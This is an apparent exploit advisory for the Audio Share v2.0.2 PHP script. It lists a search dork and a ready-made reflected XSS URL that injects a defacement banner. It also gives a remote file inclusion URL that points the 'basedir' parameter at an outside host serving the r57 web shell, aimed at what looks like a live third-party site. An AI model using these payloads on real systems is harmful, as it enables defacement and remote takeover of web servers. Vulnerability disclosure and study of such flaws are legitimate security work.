Audio Share version 2.0.2 suffers from cross site scripting and remote file inclusion vulnerabilities.
a3a8905088e570ff7fa1984524f21cf56f5f55619ab6518165d24f7c5f880f37
| # Title : Audio Share v2.0.2 Multi Vulnerability
| # Author : indoushka
| # email : indoushka4ever@gmail.com
| # Dork : Powered by AudioShareScript.com
| # Tested on: windows 8.1 Français V.(Pro)
| # Download : http://demo.audiosharescript.com/
=======================================
( XSS / HTML Inject ) :
http://demo.audiosharescript.com/forgot.php?email=indoushka4ever%2540gmail.com%22%20%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E&forgotusername=wtf
L/R Files inclusion :
C:\web\www\upload\ajax\myajaxphp.php
Line : 5 require_once($config['basedir'] . "/ajax/cpaint2.inc.php");
Function : require_once
Variables : $config['basedir']
http://www.ondemand.ooduaglobalradio.com/ajax/myajaxphp.php?config[%27basedir%27]=http://www.dcvi.net/r57.txt
Greetz :
jericho http://attrition.org & http://www.osvdb.org/ * packetstormsecurity.com * http://is-sec.org/cc/
Hussin-X * Stake (www.v4-team.com) * D4NB4R * ViRuS_Ra3cH * yasMouh * https://www.corelan.be * exploit4arab.net
---------------------------------------------------------------------------------------------------------------